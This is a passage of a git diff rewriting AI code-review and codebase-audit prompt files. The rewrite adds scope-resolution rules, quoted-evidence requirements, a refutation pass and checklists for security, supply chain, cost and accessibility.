ceiling; a workflow that commits or tags and thereby retriggers itself with no actor guard or path filter; polling, or an effect with an unstable dependency, firing a metered call per render; a shared cache expiry driving a synchronized burst at a metered origin. **A budget alert notifies; it does not stop spend.** + +**Then efficiency, naming the billing dimension the change moves.** **Egress**, the dimension most often missed and frequently the largest, covering unresized images, missing compression, absent or short cache headers, a bundle shipped to every visitor, and cross-region transfer, with providers differing sharply and some not charging it at all. **Invocations and duration**, covering over-provisioned memory, a function billed while awaiting slow I/O, a bundle inflating cold-start time, and a synchronous chain billing every hop at once. **Per-operation database billing**, covering a read per row where one query would serve, a listener re-reading a collection, a query without a limit, and a scan without a partition or index filter, where the bill follows bytes scanned rather than rows returned. **Storage**, covering absent lifecycle or retention policy, a storage class mismatched to the access pattern, and orphaned artifacts, logs, and backups. **Build minutes**, where runner operating system carries a multiplier (commonly 1x for Linux, 2x for Windows, and roughly 10x for macOS, to be verified against the provider's current published figures) that usually makes runner choice the largest lever, alongside absent dependency caching, no concurrency group cancelling superseded runs, an over-wide matrix, the full suite running on documentation-only changes, and default artifact retention. **Logs and telemetry**, metered by volume and retention, where a debug line in a hot path is a recurring bill, reported once rather than twice with category 14. **Model calls**, covering tokens per call, retries, no caching of identical requests, and context larger than the task needs. + +An optimization that introduces a cache, a queue, or another service can cost more than it saves once its own bill is counted. + +### 18. Regulatory and compliance + +Determine which regulations apply from the data the system holds, the people it holds it about, and where it operates. State which are in scope and why, and state which you ruled out and why. Common examples are GDPR, HIPAA, PIPEDA, CCPA and CPRA, and provincial or state equivalents. **The list is not the check; the determination is.** For each in scope: data subject rights, breach notification, processing agreements, and privacy impact assessments. + +## 6. Step 4: Refutation pass + +Before writing the summary, take each finding and try to disprove it. This step decides whether the review is accurate. + +For each finding, answer: + +1. Is the quoted line still in the diff, spelled exactly as quoted? +2. Does the surrounding code already handle it? Re-open the file and read past the changed line, including the guard clauses and the caller. +3. Does a test, a type, a framework guarantee, or a configuration value already prevent it? +4. Did this change cause it, or was it already true? If already true, drop it or relabel it pre-existing. +5. Would your suggested fix actually work? Where its correctness depends on tool behaviour rather than on reading code (ignore-file and glob semantics, config precedence, shell quoting, CI trigger filters), verify it or label it unverified. **A fix that looks right and silently does nothing is worse than no fix**, because it closes the finding without changing anything. + +**Delete every finding that does not survive all five.** Deleting some is the expected outcome; a review that refutes nothing did not run this step. Do not convert a refuted finding into a hedge, a question, or a suggestion. Report the number of findings dropped here in section 7. + +## 7. Step 5: Summary ```markdown -## ✅ / 🟡 / 🔴 Overall Verdict: [APPROVED / APPROVED WITH SUGGESTIONS / CHANGES REQUESTED] +## Overall verdict: [APPROVED / APPROVED WITH SUGGESTIONS / CHANGES REQUESTED] -### Quick Stats +### Quick stats - **Files reviewed:** X -- **Findings:** X Blocking · X Non-blocking · X Suggestions · X Positive callouts +- **Findings:** X blocking · X should fix · X suggestions · X positive +- **Findings dropped in refutation:** X +- **Categories skipped:** [name each, with its reason] -### PR Alignment +### Alignment -[1–3 sentences on whether the code does what the PR/ticket says] +[One to three sentences on whether the code does what the pull request or ticket says] -### Top Concerns +### Top concerns -[Bullet list of critical issues that must be resolved before merge] +[Critical issues that must be resolved before merge] -### What's Done Well +### What is done well -[Bullet list of genuinely good patterns or improvements in this PR] +[Genuinely good patterns or improvements in this change] -### Before Merging +### Before merging -- [ ] [Action item 1] -- [ ] [Action item 2] +- [ ] [Action item] ``` ---- - -## Tone +## 8. Tone -- Direct and specific. No vague "this could be improved." -- Critique the code, not the author. -- Acknowledge trade-offs — flag risk even if the pattern is valid. -- Use "consider" for suggestions, "should" for non-blocking, "must" for blocking. -- If a category has no issues: ✅ _No issues found._ +Direct and specific. No vague "this could be improved". Critique the code, not the author. Acknowledge trade-offs, and flag risk even where the pattern is valid. Use "consider" for suggestions, "should" for non-blocking, and "must" for blocking. Where a category has no issues, say so in one line. diff --git a/.github/prompts/audit-quality.prompt.md b/.github/prompts/audit-quality.prompt.md index 3f0a475d..058e4227 100644 --- a/.github/prompts/audit-quality.prompt.md +++ b/.github/prompts/audit-quality.prompt.md @@ -1,193 +1,215 @@ --- -title: 'Comprehensive Codebase Audit & Quality Improvement' -scope: 'repo' -labels: - - 'audit' - - 'refactoring' - - 'quality' - - 'security' - - 'compliance' - - 'testing' +description: 'Audit the codebase for architecture, security, privacy, testing, supply chain, and cost issues, and report findings with evidence.' +name: 'audit-quality' +argument-hint: '[paths, categories, or "all"; defaults to the active pull request or working changes]' +agent: 'agent' --- -**Purpose:** -Act as a **Principal Code Reviewer, Security Auditor, and Refactoring Architect**. Audit the #codebase to identify architectural flaws, security vulnerabilities, compliance gaps, technical debt, and maintainability issues — then proactively implement improvements. +# Audit codebase quality ---- +Act as a principal code reviewer, security auditor, and refactoring architect. Report findings grounded in files you opened this run. -## Hard Rules +## Scope -1. **The `any` Rule:** Do NOT replace `any` with `unknown` or add `no-explicit-any` to ESLint. Do NOT introduce `unknown` as a new type annotation anywhere — if the code uses `any`, leave it as `any` unless you can substitute a **specific, concrete type** (e.g., `string`, `MyInterface`, `Record`) without breaking functionality. **Go-specific:** Replace `interface{}` with `any` if safe. +**Resolve scope in this order and stop at the first rule that applies. Never widen it.** -2. **No Duplication of Existing Infrastructure:** Before adding any capability (error tracking, logging, monitoring, analytics, validation, caching, auth, etc.), verify whether it already exists in the codebase. Read config files, initialization code, and existing integrations first. Never add functionality the codebase already provides — doing so creates double-tracking, conflicting behavior, or dead code. +1. **An explicit instruction.** The paths, area, component, or categories named when this was invoked, including an instruction to audit everything. +2. **The active pull request** for the current branch, if one exists, plus the modules its changes reach into. +3. **Uncommitted changes**, if any, plus the modules they reach into. +4. **The system or component the surrounding task concerns**, where the task named one. +5. **The whole repository**, only when none of the above applies. -3. **Proactive Improvement:** Do not ask permission. Once issues are identified, implement fixes immediately. Make incremental, validated changes — not sweeping refactors. +State which rule resolved the scope in your output, and audit only what it selected. On a large repository or a monorepo, rules 2 to 4 are the normal answer and rule 5 is close to never correct without an explicit instruction: auditing everything by default burns the run on code nobody asked about and produces a report too large to act on. -4. **Validation Discipline:** After every batch of related changes, run the **full** validation pipeline. Detect the project's language/tooling and find the appropriate commands: - - **Discover:** Check for a top-level task runner or config file (e.g., `package.json`, `Makefile`, `pyproject.toml`, `composer.json`). Look for a single `validate` or `check` command that runs the full pipeline. - - **If no single command exists**, run each step individually in order: format → lint → typecheck (if applicable) → unit tests → integration/e2e tests. - - **All tests must pass before making the next change.** If any test fails, stop and fix immediately. Never move to the next audit area while current changes break any test. +A few checks are worth running repository-wide even under a narrow scope, because they are cheap and the answer is not local: the dependency and lockfile review, workflow and CI configuration, and licence declarations. Say when you widened for one of those and why. -5. **Change Documentation:** After all fixes pass validation, report **what** was changed (files, functions, patterns) and **why** (issue identified and rationale). +## Context resolution ---- +GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. -## Execution Order +| Reference | GitHub Copilot | Claude Code and other agents | +| ------------ | --------------------------- | ---------------------------------- | +| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#file:path` | The named file | `Read` on that path | -1. **Codebase Discovery (mandatory before any changes)** — Read config files, entry points, and key modules to map what already exists: error tracking (e.g., Sentry), analytics, logging, CI/CD, auth, state management, styling patterns, testing setup, and any other integrated services or conventions. Build a clear picture of established infrastructure and patterns so you never duplicate, conflict with, or undermine existing functionality. -2. **Priority: Active Changes** — If #changes or #activePullRequest exist, audit those first with full criteria. Validate before proceeding to broader audit. -3. **Breadth-First Audit** — Analyze codebase structure, patterns, and systemic issues. -4. **Incremental Fix & Validate** — Apply fixes in small batches (1–3 related changes). After each batch, run the full validation suite (including e2e tests). Do NOT accumulate multiple changes before testing — if a change breaks something, you need to know which change caused it. -5. **Test Coverage** — Ensure/update tests for modified code. Run the full test suite again after adding/modifying tests. -6. **Documentation Update** — Update in-code and external documentation to reflect changes. -7. **Final Validation** — Run complete validation suite. -8. **Change Report** — Comprehensive report of all changes and rationale. +## 1. Scope and evidence rules ---- +1. **Open the file this run.** Every finding rests on a file you opened and read. A search-result snippet, a repository map, a directory listing, a summary, or your recollection of a similar project are not sources. +2. **The evidence unit is file, symbol, and a verbatim quote.** Name the file path, the exact symbol, and a short string copied character for character from the source. A line number is not evidence: it cannot be checked without opening the file and it drifts on the next edit. +3. **A finding you cannot quote is dropped**, not softened and not reworded as a question. +4. **Refute before you publish.** Section 5 is not optional. +5. **Respect intentional `any`** and its equivalents in other languages. Do not flag one unless you can name the concrete type that replaces it without breaking the build, and never launder one into a wider escape hatch to quiet a linter. Where a language offers a narrower spelling of the same idea, such as Go's `any` over `interface{}`, prefer it when the swap is safe. +6. **Every finding carries a severity:** 🔴 blocking, 🟡 should fix, 🔵 suggestion, ✅ positive. +7. **State uncertainty explicitly** rather than hedging a finding into vagueness. -## Audit Categories +## 2. Hard rules -### 1. Architecture & Design +**Rule 1: do not duplicate existing infrastructure.** Before recommending any capability (error tracking, logging, monitoring, analytics, validation, caching, authentication), verify whether it already exists. Read configuration files, initialization code, and existing integrations first. Recommending something the codebase already provides creates double-tracking, conflicting behaviour, or dead code, and it is the most common way an audit makes a codebase worse. -Ensure modular, maintainable structure. Check: modularity (flag monolithic files), SOLID principles, coupling vs. cohesion, anti-patterns/code smells, over-engineering/premature abstraction, separation of concerns and layer boundaries. +**Rule 2: judge against this project, not a generic one.** Scale, platform, regulatory exposure, and traffic all come from discovery in section 3. A recommendation that is right for a multi-tenant service is wrong for a static site, and prescribing infrastructure a project has no use for is a defect in the audit rather than advice. -### 2. Code Health & Quality +## 3. Execution order -Clean, correct, maintainable code. Check: logic correctness, clarity/self-documenting code, cyclomatic complexity (refactor if >10), DRY violations, dead code (unused vars/functions/imports), code smells (long methods, primitive obsession, feature envy), clean code principles (meaningful names, small functions, minimal side effects). +1. **Discovery, mandatory before any finding.** Read configuration files, entry points, and the modules inside the resolved scope to map what already exists: error tracking, analytics, logging, CI and CD, authentication, state management, styling, testing setup, deployment shape, and any other integrated service or convention. Establish the project's real traffic, data volume, and deployment target, because sections 4 and 5 judge against them. Discovery reads project-level configuration even under a narrow scope, since that is what tells you whether a capability already exists. +2. **Triage.** Read the category list and enter only the categories the codebase activates. Name every category you skipped, and why, in section 6. "Not applicable to this project" is a complete reason when you say what made it inapplicable. +3. **Audit in bounded batches.** Work through a category or an area at a time and finish it before opening the next. Report what you did not reach rather than skimming it. +4. **Refutation pass** (section 5). +5. **Report** (section 6). -### 3. Error Handling, Observability & Resilience +## 4. Audit categories -Robust error handling and monitoring without compromising privacy. +Two lenses are read alongside every category rather than as categories of their own. -- **Error Handling:** All paths handled, error boundaries/fallbacks, actionable messages without leaking sensitive data, structured error types. -- **Logging:** Consistent structured logging with appropriate levels. **Sanitize only logs at risk of containing PHI/PII** (user inputs, API bodies, DB records, error objects with user data). Preserve debugging utility in safe logs (app state, config, flow control, metrics). **Never log:** auth tokens, passwords, API keys, session IDs, encryption keys. Include correlation IDs. Avoid excessive noise. -- **Monitoring:** Track KPIs, error rates, response times, resource utilization. Alerting for critical failures. Anonymized metrics (no PHI/PII). -- **Tracing:** Distributed tracing with correlation IDs for multi-component systems. Sanitize trace data. Implement sampling for high-volume traces. -- **Resilience:** Graceful degradation, retry with exponential backoff, circuit breakers, timeouts, fallback strategies. +**Maintainability, coupling, and reuse.** For every module: does it depend on another module's internals rather than its interface, and would a change there force a change here? Does high-level policy depend on low-level detail rather than the reverse? Is business logic entangled with I/O, framework, or presentation so it cannot be exercised or reused on its own? Does one reason to change sit beside another in the same unit? How many files must change together the next time a given behaviour changes? Is a value hardcoded that a consumer would want to configure, and is it named where a consumer can find it rather than buried in a function body? Is a dependency constructed inside the unit that uses it rather than passed in? Is a parameter list growing, or an interface carrying members most callers ignore? Are there circular imports or shared mutable module state? **The counterweight, because it is this lens's own failure mode:** an abstraction with a single caller, a generic parameter with a single instantiation, and configuration nobody sets are premature, and premature generalization costs more than the duplication it removes. -### 4. Security & Vulnerability +**Security and privacy in three directions.** Ask who each finding protects. _The end user:_ their data, session, device, and browser. _The host, system, and company:_ server-side request forgery, command injection, path traversal, unsafe deserialization, resource exhaustion, privilege escalation, over-scoped tokens, log injection, and internal hostnames, employee names, or infrastructure detail leaking into public source, comments, or source maps. _The developer and the build:_ whether cloning, installing, building, or opening this repository can compromise the machine that does it. -Protect users, data, and infrastructure. Check: input validation/sanitization, injection prevention (SQL/XSS/command/LDAP/path traversal), auth/authz and session management, API security (authentication, rate limiting), dependency vulnerabilities, secrets management (no hardcoded credentials), HTTPS/TLS, CSRF/CORS, server security (DDoS, SSRF). +### 1. Architecture and design -### 5. Privacy & Data Protection +Modularity (flag monolithic files), SOLID principles, coupling against cohesion, anti-patterns and code smells, over-engineering and premature abstraction, separation of concerns, layer boundaries, dependency direction, and circular dependencies. Read through the maintainability lens above. -Maximum protection of user privacy. Check: PHI/PII data flow protection, data minimization, encryption at rest and in transit, RBAC for sensitive data, data leakage prevention (logs, analytics, errors, stack traces, third-party services), consent mechanisms, data retention policies. +**Scalability lens.** Judge scale against the project's own traffic, data volume, and deployment shape, established in discovery. A static site, a command-line tool, and a multi-tenant service have different answers, and prescribing a distributed cache, a message queue, or a connection pool to a project with no server is wrong advice. Flag work that grows with input where constant work would do, name any component that cannot run as more than one instance where that matters, and name the first limit the current shape will hit. -### 6. Regulatory Compliance +### 2. Correctness and code health -Determine which regulations are in scope based on data subjects, geography, and data types. State why any regulation is out of scope. Check applicable regulations: **HIPAA** (US, PHI), **GDPR** (EU, personal data), **PIPEDA** (Canada federal), **PHIPA** (Ontario health), **PIPA** (South Korea). For each: verify data subject rights, breach notification, processing agreements, privacy impact assessments. +Logic correctness, clarity, cyclomatic complexity, duplication, dead code (unused variables, functions, imports), long methods, primitive obsession, feature envy, meaningful names, small functions, and minimal side effects. Also: boundary conditions, numeric precision, type coercion, timezone and daylight-saving arithmetic, ordering assumptions, and idempotency of anything retried. -### 7. Standards, Style & Best Practices +**Test logic that reached production code:** a test-environment branch, an export that exists only so a test can reach it, a mock or sample value on a production path, a flag that disables behaviour under test. -Consistent, idiomatic code. Apply the appropriate style guide for each detected language (e.g., Google Style Guides for JS/TS/Python/Go/C#/R/Shell/HTML/CSS/Markdown/JSON, PSR for PHP). Flag deviations from whichever standards the project follows. +**Tells of generated code**, which are review targets rather than accusations: an abstraction with one caller, a generic parameter with one instantiation, a helper duplicating one already in the repository under a different name, an API call that is plausible but absent from the library's surface, error handling that catches and logs without changing the outcome, and a comment that narrates a change ("now uses X", "updated to handle Y") instead of describing the code. -### 8. Accessibility +**Standards and style.** Apply the project's own configuration first: its formatter, linter, and documented conventions decide every question they cover, and a tool's exit code is better evidence than your reading. **Never report a violation of a rule the project has turned off.** -Target WCAG 2.1 Level AA minimum. Check: color contrast (4.5:1 normal, 3:1 large), semantic HTML and ARIA labels, keyboard navigation and focus indicators, alt text, screen magnification/high contrast support, `prefers-reduced-motion`, form labels and error feedback. +Where the project leaves a question open and Google publishes a style guide for the language, use it as the default standard. Google publishes guides for C++, C#, Common Lisp, Go, HTML and CSS, Java, JavaScript, JSON, Markdown, Objective-C, Python, R, Shell, Swift, TypeScript, and Vim script, indexed at `https://google.github.io/styleguide/`. Where Google publishes none, use the language's own prevailing standard. -### 9. Testing & Quality Assurance +**Flag the absence of the discipline, not the variant of the convention.** A codebase that consistently applies a different variant of a Google rule has a preference, and a preference is not a defect. What is a defect is having no convention at all, or one file that contradicts every other. -Comprehensive, meaningful test coverage. Check: unit tests (isolated), integration tests (module interactions), E2E tests (user workflows), meaningful coverage (critical paths, not just percentages), test quality (no bloat, no meaningless assertions), descriptive test names, data-driven test cases where applicable, no brittle/flaky tests, no over-mocking ("if you mock everything, you test nothing"). +Worked example. The Go style decisions document groups imports as standard library, then other project and vendored packages, then protocol buffer imports, then side-effect imports. A codebase that consistently groups them in a different order is expressing a preference: do not flag it. A file with its imports in one undifferentiated block, or grouped in an order no other file in the repository uses, is a finding, because the discipline is missing rather than varied. -### 10. Documentation +Before flagging any style deviation, read two or three other files of the same language. If the pattern holds across them it is a convention: report it once as an observation at most, never once per occurrence. If it holds nowhere else it is drift, and drift is the finding. A systematic deviation across a whole codebase is a discussion to open, never a per-file finding. -Accurate, useful documentation serving both internal and external developers. **In-code:** "why" comments for complex logic, JSDoc/docstrings for public APIs, inline docs for non-obvious code only. **External:** README with setup/usage, API docs, architecture diagrams, contributing guidelines. Ensure docs reflect actual implementation. +### 3. Concurrency, state, and resource lifetime -### 11. Performance & Optimization +Shared state synchronization, deadlock prevention, thread safety, asynchronous error handling, resource locking, idempotency, and reproducibility. Also: memory leaks (event listeners, closures, circular references), stack overflow risk, resource cleanup (file handles, database connections, subscriptions), garbage-collection pressure in hot paths, idempotency keys, at-least-once delivery assumptions, lock ordering, and cancellation propagation. -Fast, efficient application. Check: response times, 60fps for animations (where applicable), UI blocking/freezing, crash prevention, algorithm efficiency (avoid O(n²) where O(n) works), lazy loading, caching strategies, query optimization (indexes, N+1). +### 4. Error handling, observability, and resilience -### 12. Build & Bundle Size +- **Error handling:** every path handled, error boundaries and fallbacks, actionable messages that do not leak sensitive data, structured error types a caller can branch on, and no error swallowing that silently changes control flow. +- **Logging:** consistent structured logging at appropriate levels. **Sanitize only logs at risk of containing personal or health data** (user inputs, request bodies, database records, error objects carrying user data). Preserve debugging utility in safe logs (application state, configuration, flow control, metrics). **Never log:** authentication tokens, passwords, API keys, session identifiers, encryption keys. Include correlation identifiers. Avoid excessive noise, which is also a cost (category 11). +- **Monitoring:** error rates, response times, resource utilization, alerting for critical failures, and anonymized metrics. Verify a metric or alert exists for each failure mode the code can reach, and that errors actually arrive at the project's tracker rather than being logged and dropped. +- **Tracing:** correlation identifiers that survive asynchronous boundaries, sanitized trace data, and sampling for high-volume traces. +- **Resilience:** graceful degradation, retry with exponential backoff and jitter, circuit breakers, timeouts, and fallback strategies. -**Applies to:** Apps producing build artifacts (web, mobile, distributed binaries). **Skip for:** local-only CLI tools. +### 5. Security -Check: bundle composition (identify large/duplicate deps), code splitting (route-based, vendor separation, lazy loading), tree shaking (proper ES module imports, remove unused exports), dependency optimization (lighter alternatives, specific imports), asset optimization (WebP/AVIF, minification, SVG icons, cache headers), build config (production optimizations, modern tooling, proper source maps, no dev code in production). +Input validation and sanitization, injection prevention (SQL, cross-site scripting, command, LDAP, path traversal), authentication, authorization and session management, API security and rate limiting, dependency vulnerabilities, secrets management, transport security, cross-site request forgery and cross-origin policy, and server-side request forgery. Use the OWASP Top 10 as the baseline lens and the three directions above to decide who each finding protects. -### 13. Operational Cost Optimization +Where the codebase includes model or agent code, add the OWASP Top 10 for LLM Applications: prompt injection, improper output handling, excessive agency, and sensitive information disclosure. Call out by name any model output used unvalidated as a path, query, command, or URL. -**Applies to:** Apps using cloud services, hosted infrastructure, or CI/CD. **Skip for:** purely offline/local tools. +### 6. Privacy, data protection, and regulatory compliance -Check: compute right-sizing and auto-scaling, storage lifecycle policies and cleanup, database query optimization and connection pooling, CDN and compression for network/bandwidth, CI/CD efficiency (caching, parallelism, skipping unnecessary runs), API call optimization (caching, batching), log retention policies and sampling, platform-specific discounts (reserved/spot instances, serverless for sporadic workloads). +Personal and health data flow, data minimization at the point of collection rather than only at logging, encryption at rest and in transit, role-based access control for sensitive data, leakage prevention (logs, analytics, errors, stack traces, source maps, third-party services), consent mechanisms, retention policies, third-party SDK data egress, and cross-border transfer. -### 14. Concurrency & Resilience +Determine which regulations apply from the data the system holds, the people it holds it about, and where it operates. State which are in scope and why, and state which you ruled out and why. Common examples are GDPR, HIPAA, PIPEDA, CCPA and CPRA, and provincial or state equivalents. **The list is not the check; the determination is.** For each in scope: data subject rights, breach notification, processing agreements, and privacy impact assessments. -Prevent race conditions, deadlocks, and concurrency issues. Check: shared state synchronization, deadlock prevention, thread safety, proper async/await error handling, resource locking, idempotency, reproducibility. +### 7. Configuration and environment parity -### 15. Memory Management +Behaviour that differs between a developer machine, a hermetic or ephemeral container, dev, staging, and production. Check: environment variable reads with no default and no startup validation; hardcoded hosts, ports, URLs, and absolute paths; seed, fixture, or sample data assumed to be present; a feature flag whose default differs per environment; timezone, locale, and currency assumptions, including a test that passes only in one UTC offset; wall clock and randomness that CI cannot reproduce; filesystem case sensitivity and path separators; container against host networking, where `localhost` inside a container is not the host. Also check that every configuration value the code reads is documented by the name a consumer changes it by. -Efficient memory usage. Check: memory leaks (event listeners, closures, circular references), stack overflow prevention, heap optimization, resource cleanup (file handles, DB connections, subscriptions), GC pressure in hot paths. +### 8. Dependencies, supply chain, and licensing -### 16. Scalability +Check every dependency and lockfile entry against what the codebase actually imports, and flag anything unused. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. -Code ready for significant scale (100,000+ concurrent users). Check: stateless components for horizontal scaling, load distribution, database scaling strategies (replicas, sharding, partitioning). +**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. -- **Caching Strategy:** Implement distributed caching (Redis, Memcached). -- **Asynchronous Processing:** Use message queues for heavy operations. -- **Rate Limiting:** Implement rate limiting to prevent abuse. -- **Connection Pooling:** Use connection pools for databases and external services. -- **Resource Limits:** Set appropriate timeouts and resource limits. +Extend the same reasoning to the build and CI surface, where a whole-codebase audit sees what a diff cannot: every workflow file, including any that checks out an untrusted pull request head while holding write permissions or secrets, any third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, and self-hosted runners exposed to forks. Editor and container configuration that executes on open counts, such as an autorun task or a container post-create command, and so does checked-in agent configuration: a skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. -### 17. User Experience (UX) +**Licensing and provenance:** code that reads as pasted from elsewhere, where the comment style, naming, or level of generality does not match the file around it, with no attribution; a vendored file or snippet whose origin and licence are not recorded; a dependency whose licence conflicts with the project's own, including copyleft entering a permissive project; a copied image, font, icon set, or dataset without a licence permitting the use; and a licence declaration that disagrees between the licence file, the package manifest, and the documentation. Report what you can show and name the uncertainty. Do not accuse. -**Objective:** Smooth, intuitive, and valuable user experience. +### 9. Testing -- **Logic Issues:** Fix logic that impairs smooth user flows. -- **User Retention:** Make the application useful and enjoyable (not addictive, but valuable). -- **Bounce Rate:** Identify and fix issues causing users to leave. -- **Feedback:** Provide clear feedback for user actions (loading states, success/error messages). -- **Intuitive Design:** Ensure UI follows expected patterns and conventions. -- **Error Recovery:** Allow users to easily recover from errors. -- **Progressive Enhancement:** Ensure core functionality works, enhanced features degrade gracefully. +Unit tests (isolated), integration tests (module interactions), and end-to-end tests (user workflows). Meaningful coverage of critical paths rather than a percentage. Test quality: no bloat, no meaningless assertions, descriptive names, data-driven cases where applicable, and no over-mocking ("if you mock everything, you test nothing"). ---- +**Missing edge cases:** the negative case for every positive assertion, plus empty, null and undefined, zero and one and the boundary either side of a limit, unicode with combining characters and right-to-left text, duplicate and out-of-order input, concurrent callers, and every error path the code can take. + +**Flakiness in the code as well as the test:** wall-clock reads and date arithmetic, unseeded randomness, iteration order of a map, set, or directory listing relied on as stable, a promise not awaited, a real network call or sleep in a test, state shared between cases through a module-level variable, an assertion that races an animation or transition. -## Final Steps +The question that subsumes the rest: **would this test fail if the behaviour it names were broken?** -1. **Run Complete Validation:** - - Execute the full validation command (e.g., `npm run validate`, `make validate`) which must include unit tests **and** e2e tests. - - If e2e tests are not part of the main validation command, run them separately (e.g., `npm run test:cypress:e2e`). - - Ensure zero errors and warnings across all test types (or document intentional exceptions). +### 10. Documentation -2. **Generate Change Report:** - - **WHAT Changed:** List all files modified, functions refactored, patterns updated. - - **WHY Changed:** For each change, explain: - - The issue or smell identified - - The risk or impact if left unfixed - - The solution applied and its benefits - - **Format:** Provide a clear, scannable report (markdown format preferred). +Flag documentation that contradicts the code, a public surface with no documentation, a deprecation that does not name its replacement, and setup or usage instructions that no longer work. **Report the drift as a finding; do not perform a full documentation rewrite inside this audit.** Rewriting documentation is separate work with its own verification needs. -3. **Compliance Check:** - - Ensure #file:copilot-instructions.md was followed throughout. - - Verify all documentation in #file:docs is updated and accurate. +### 11. Performance, build output, and operating cost ---- +**Performance:** response times, frame budget for animations where applicable, blocking the main thread, algorithmic complexity, lazy loading, caching strategy, and query optimization (indexes, N+1). + +**Build output**, where the project produces a build artifact: bundle composition and large or duplicate dependencies, code splitting, tree shaking, dependency size, asset optimization (modern image formats, minification, cache headers), and production build configuration with no development code shipped. + +**Cost and billing exposure.** Judge against the project's deployment shape (static host, serverless, containers, managed database, CI provider), since a dimension the project does not bill is noise. + +**Blocking first, because these create unbounded spend rather than inefficiency:** a trigger whose handler writes back to what triggered it, such as a storage function writing into the bucket it watches, a database trigger updating the document that fired it, or a queue consumer republishing to its own topic; a retry policy with no attempt cap, backoff, or dead-letter destination, which multiplies invocations exactly when the system is already failing; fan-out with no ceiling; a workflow that commits or tags and thereby retriggers itself with no actor guard or path filter; polling, or an effect with an unstable dependency, firing a metered call per render; a shared cache expiry driving a synchronized burst at a metered origin. **A budget alert notifies; it does not stop spend.** + +**Then efficiency, naming the billing dimension.** **Egress**, the dimension most often missed and frequently the largest, covering unresized images, missing compression, absent or short cache headers, a bundle shipped to every visitor, and cross-region transfer, with providers differing sharply and some not charging it at all. **Invocations and duration**, covering over-provisioned memory, a function billed while awaiting slow I/O, a bundle inflating cold-start time, and a synchronous chain billing every hop at once. **Per-operation database billing**, covering a read per row where one query would serve, a listener re-reading a collection, a query without a limit, and a scan without a partition or index filter, where the bill follows bytes scanned rather than rows returned. **Storage**, covering absent lifecycle or retention policy across every bucket and log sink, a storage class mismatched to the access pattern, and orphaned artifacts, logs, and backups. **Build minutes**, where runner operating system carries a multiplier (commonly 1x for Linux, 2x for Windows, and roughly 10x for macOS, to be verified against the provider's current published figures) that usually makes runner choice the largest lever, alongside absent dependency caching, no concurrency group cancelling superseded runs, an over-wide matrix, the full suite running on documentation-only changes, and default artifact retention. **Logs and telemetry**, metered by volume and retention, where a debug line in a hot path is a recurring bill, reported once rather than twice with category 4. **Model calls**, covering tokens per call, retries, no caching of identical requests, and context larger than the task needs. -## Output Format +A whole-codebase view also sees provisioned services with no caller, which bill for nothing. An optimization that introduces a cache, a queue, or another service can cost more than it saves once its own bill is counted. -After completing the audit and fixes, provide: +### 12. Accessibility + +Target **WCAG 2.2 Level AA**, the current W3C Recommendation. Colour contrast (4.5:1 normal, 3:1 large), semantic markup and accessible names, keyboard navigation and focus indicators, alternative text, screen magnification and high contrast support, reduced-motion support, and form labels and error feedback. + +The criteria WCAG 2.2 adds over 2.1 are the ones most often missed: focus not obscured, focus appearance, target size, dragging movements having a single-pointer alternative, consistent help, redundant entry, and accessible authentication. + +### 13. User-facing behaviour + +Loading, empty, and error states for every asynchronous path. Recovery from an error without losing work. Feedback for every user action. Progressive enhancement, so core functionality works and enhanced features degrade gracefully. Restrict findings here to what is visible in the code; retention and engagement metrics are not auditable from source. + +## 5. Refutation pass + +Before writing the report, take each finding and try to disprove it. + +1. Is the quoted string still in the file, spelled exactly as quoted? +2. Does the surrounding code already handle it? Re-open the file and read past the cited symbol, including guard clauses and callers. +3. Does a test, a type, a framework guarantee, or a configuration value already prevent it? +4. Does the capability already exist elsewhere in the codebase (Rule 1)? +5. Is the recommendation right for **this** project's scale, platform, and regulatory exposure (Rule 2)? +6. Would your recommendation actually work? Where its correctness depends on tool behaviour rather than on reading code (ignore-file and glob semantics, config precedence, shell quoting, CI trigger filters), verify it or label it unverified. **A fix that looks right and silently does nothing is worse than no fix**, because it closes the finding without changing anything. + +**Delete every finding that does not survive all six.** Deleting some is the expected outcome; an audit that refutes nothing did not run this step. Do not convert a refuted finding into a hedge. Report the number dropped in section 6. + +## 6. Output ### Summary -- Total files analyzed -- Total issues found and fixed -- Validation status (PASS/FAIL) +- **Files read:** X +- **Findings:** X blocking · X should fix · X suggestions · X positive +- **Findings dropped in refutation:** X +- **Categories skipped:** [name each, with its reason] +- **Not yet audited:** [areas in scope you did not reach, with the reason] -### Detailed Change Log +### Findings -For each change, outline the: +For each, in severity order: -- **Issue:** [Description of the problem] -- **Category:** [Architecture/Security/Performance/etc.] -- **Risk Level:** [High/Medium/Low] -- **Change:** [What was modified] -- **Rationale:** [Why this fix was necessary and how it improves the codebase] +- **Issue:** what is wrong. +- **Evidence:** file, symbol, and the verbatim quote. +- **Category:** which of the 13 above. +- **Risk:** what happens if it is left. +- **Recommendation:** the concrete change. -### Recommendations +### For a human to decide -- Issues that require human decision-making -- Suggested architectural improvements for future consideration -- Dependencies that should be updated or replaced +Issues requiring a judgement call, architectural changes worth considering later, and dependencies that should be updated or replaced. ---- +## 7. When this run applies changes + +**This prompt does not decide whether findings become edits.** The mode you invoked it in decides: an agent mode with edits enabled applies them, a plan or ask mode does not, and a permission prompt may sit between. Follow the mode you are in. + +When changes are applied: -**Remember:** You are not just fixing bugs—you are elevating the entire codebase to production-grade quality with security, compliance, performance, cost-efficiency, and user experience as top priorities. +- Apply them in batches of one to three related changes. Never a sweeping refactor across the whole audit at once. +- After each batch, run the project's full validation. **Discover the command rather than assuming one:** look for a task runner or manifest (a `package.json` script, a `Makefile` target, `pyproject.toml`, `composer.json`, a `justfile`) and prefer a single `validate`, `check`, or `ci` entry point. Where there is none, run format, then lint, then type check, then unit tests, then integration and end-to-end tests, 